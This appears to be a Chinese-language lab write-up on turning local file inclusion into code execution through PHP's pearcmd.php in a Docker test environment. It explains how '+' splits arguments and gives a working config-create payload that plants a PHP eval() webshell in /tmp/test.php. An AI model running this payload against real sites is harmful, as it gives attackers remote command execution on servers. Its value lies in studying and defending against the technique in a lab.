利用pearcmd.php本地文件包含(LFI)
本文主要是为了学习如何用pearcmd进行本地文件包含
0x00 环境准备
首先先在docker中安装一个php环境。
docker exec -it [container id] /bin/bash
进入docker命令行中
先启动php。docker run -p 80:80 php:****
再docker ps查看ID
进入html目录生成两个文件。
ps:我这么做发现没有vim编辑器.....编辑不了。然后更新源安装vim又失败。还要去改/etc/apt/sources.list.
但是没有vim编辑器又改不了。最后找到了一个方法。
将本机文件赋值到容器里面。
最后成功安装vim。
成功访问。
0x02 复现
在此之前我们需要确定几件事情:
1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php
2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。
当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。
$_SERVER['argv'] #传递给该脚本的参数。
也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数的。
那么我们现在就要利用test2.php来看一下$_SERVER[‘argv’]是如何解析参数的。刚开始是0;
我们传入a=1&b=1。发现并不想之前&是作为分割符。“a=1&b=1”整体被当作字符串执行
然后“+”却被当作了分隔符。
总结一下。&和=都失去了它原先的功能。+变成了分割符号。
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。
那么先让我们了解一下pear命令吧。
PEAR命令是一个PHP扩展包管理工具,它是通过在终端或命令行界面运行pear命令来调用的。PEAR命令本身并不是直接调用pearcmd.php文件,而是通过引用PEAR库和相关文件来执行各种操作。
(1)config-create
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
加号表示分割。
(这里是向之前环境准备的test.php传参数)
检查docker中的/tmp/test.php。被写入了一句话木马。
(2)
后续没有完成,参考https://blog.csdn.net/Mrs_H/article/details/122386511